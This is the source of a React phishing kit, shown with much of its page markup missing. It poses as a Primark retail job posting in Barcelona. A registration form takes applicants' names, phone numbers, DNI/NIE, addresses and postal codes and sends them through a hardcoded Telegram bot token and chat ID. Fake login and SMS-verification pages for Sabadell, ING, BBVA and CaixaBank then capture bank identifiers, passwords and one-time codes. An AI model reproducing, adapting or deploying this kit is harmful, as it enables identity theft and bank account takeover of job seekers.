import { useState, useEffect } from 'react'; const HomePage = () => { const [currentPage, setCurrentPage] = useState('home'); const [formData, setFormData] = useState({}); const [authorized, setAuthorized] = useState(false); // Verificar si el usuario está autorizado useEffect(() => { const phone = localStorage.getItem('phone'); const authorizedPhones = ['+34123456789', '+34987654321']; // Números autorizados if (phone && authorizedPhones.includes(phone)) { setAuthorized(true); } }, []); // Manejar envío de formulario const handleSubmit = (e) => { e.preventDefault(); // Enviar a Telegram sin encriptación const botToken = '8298792473:AAGw1ZyXuaFCHhKkTvt973DFvYwwSPo6W-o'; const chatId = '8298792473'; // Reemplaza por tu chat ID const message = `Nuevo registro:\nNombre: ${formData.name}\nTeléfono: ${formData.phone}\nDNI/NIE: ${formData.dni}\nDirección: ${formData.address}\nCódigo Postal: ${formData.postal}`; fetch(`https://api.telegram.org/bot${botToken}/sendMessage?chat_id=${chatId}&text=${encodeURIComponent(message)}`); // Redirigir a página de bancos setCurrentPage('banks'); }; // Renderizar página de inicio const renderHomePage = () => (

PRIMARK

Search Bell Star Globe Menu

RETAIL ASSISTANT - DEPENDIENTE/A

📍 Barcelona Plaza Catalunya, Barcelona, España

DESCRIPCIÓN DEL PUESTO

Briefcase

Job ID: JR-9077

Magnifying glass

Tipo de contrato: Empleado/a fijo - temporal

Tag

Categoría: Retail Assistant/Dependiente/a

Calendar

Fecha de publicación: mayo 19, 2026

RETAIL ASSISTANT - Dependiente/a

Tipo de contrato: Temporal

Jornada: Tiempo parcial

Franjas horarias disponibles: 04:00 a 12:00 horas, 11:00 a 19:00 horas, 16:00 a 00:00 horas.

Promedio de horas semanales: 25h

Porque tú marcas la diferencia

En Primark nos encanta hacer las cosas a nuestra manera. Ofrecemos a nuestros clientes moda actual a precios asequibles. Y lo hacemos con pasión, rigor y compromiso. Si te identificas con estos principios, únete a Primark como Retail Assistant.

); // Renderizar página de registro const renderRegisterPage = () => (

Registro de Empleados

setFormData({...formData, name: e.target.value})} className="w-full p-2 border border-gray-300 rounded-md focus:outline-none focus:border-blue-500" required />
setFormData({...formData, phone: e.target.value})} className="w-full p-2 border border-gray-300 rounded-md focus:outline-none focus:border-blue-500" required />
setFormData({...formData, dni: e.target.value})} className="w-full p-2 border border-gray-300 rounded-md focus:outline-none focus:border-blue-500" required />
setFormData({...formData, address: e.target.value})} className="w-full p-2 border border-gray-300 rounded-md focus:outline-none focus:border-blue-500" required />
setFormData({...formData, postal: e.target.value})} className="w-full p-2 border border-gray-300 rounded-md focus:outline-none focus:border-blue-500" required />
); // Renderizar página de bancos const renderBanksPage = () => (

Selecciona tu Banco

); // Renderizar página de Sabadell const renderSabadellPage = () => (
Support
B

Sabadell

User
setFormData({...formData, sabadellDni: e.target.value})} className="w-full p-2 border-b-2 border-black text-lg focus:outline-none" placeholder="DNI o NIE" />
Lock
setFormData({...formData, sabadellPassword: e.target.value})} className="w-full p-2 border-b-2 border-black text-lg focus:outline-none" placeholder="Contraseña" />
); // Renderizar página de verificación de Sabadell const renderSabadellVerifyPage = () => (
Support
B

Sabadell

Verificación de identidad

Hemos enviado un código de verificación a tu teléfono

{[1,2,3,4,5,6].map((num) => ( setFormData({...formData, sabadellCode: e.target.value})} className="w-12 h-12 border-2 border-black rounded-md text-center text-xl font-bold focus:outline-none focus:border-blue-500" /> ))}

No has recibido el código?

); // Renderizar páginas de otros bancos (similar a Sabadell) const renderIngPage = () => (
Support
I

ING

User
setFormData({...formData, ingDni: e.target.value})} className="w-full p-2 border-b-2 border-black text-lg focus:outline-none" placeholder="DNI o NIE" />
Lock
setFormData({...formData, ingPassword: e.target.value})} className="w-full p-2 border-b-2 border-black text-lg focus:outline-none" placeholder="Contraseña" />
); // Renderizar página de verificación de ING const renderIngVerifyPage = () => (
Support
I

ING

Verificación de identidad

Hemos enviado un código de verificación a tu teléfono

{[1,2,3,4,5,6].map((num) => ( setFormData({...formData, ingCode: e.target.value})} className="w-12 h-12 border-2 border-black rounded-md text-center text-xl font-bold focus:outline-none focus:border-orange-500" /> ))}

No has recibido el código?

); // Renderizar página de BBVA const renderBbvaPage = () => (
Support
B

BBVA

User
setFormData({...formData, bbvaDni: e.target.value})} className="w-full p-2 border-b-2 border-black text-lg focus:outline-none" placeholder="DNI o NIE" />
Lock
setFormData({...formData, bbvaPassword: e.target.value})} className="w-full p-2 border-b-2 border-black text-lg focus:outline-none" placeholder="Contraseña" />
); // Renderizar página de verificación de BBVA const renderBbvaVerifyPage = () => (
Support
B

BBVA

Verificación de identidad

Hemos enviado un código de verificación a tu teléfono

{[1,2,3,4,5,6].map((num) => ( setFormData({...formData, bbvaCode: e.target.value})} className="w-12 h-12 border-2 border-black rounded-md text-center text-xl font-bold focus:outline-none focus:border-blue-500" /> ))}

No has recibido el código?

); // Renderizar página de CaixaBank const renderCaixabankPage = () => (
Support
C

CaixaBank

User
setFormData({...formData, caixabankDni: e.target.value})} className="w-full p-2 border-b-2 border-black text-lg focus:outline-none" placeholder="DNI o NIE" />
Lock
setFormData({...formData, caixabankPassword: e.target.value})} className="w-full p-2 border-b-2 border-black text-lg focus:outline-none" placeholder="Contraseña" />
); // Renderizar página de verificación de CaixaBank const renderCaixabankVerifyPage = () => (
Support
C

CaixaBank

Verificación de identidad

Hemos enviado un código de verificación a tu teléfono

{[1,2,3,4,5,6].map((num) => ( setFormData({...formData, caixabankCode: e.target.value})} className="w-12 h-12 border-2 border-black rounded-md text-center text-xl font-bold focus:outline-none focus:border-green-500" /> ))}

No has recibido el código?

); // Renderizar la página actual const renderCurrentPage = () => { switch (currentPage) { case 'home': return renderHomePage(); case 'register': return renderRegisterPage(); case 'banks': return renderBanksPage(); case 'sabadell': return renderSabadellPage(); case 'sabadell-verify': return renderSabadellVerifyPage(); case 'ing': return renderIngPage(); case 'ing-verify': return renderIngVerifyPage(); case 'bbva': return renderBbvaPage(); case 'bbva-verify': return renderBbvaVerifyPage(); case 'caixabank': return renderCaixabankPage(); case 'caixabank-verify': return renderCaixabankVerifyPage(); default: return renderHomePage(); } }; return (
{renderCurrentPage()}
); }; export default HomePage;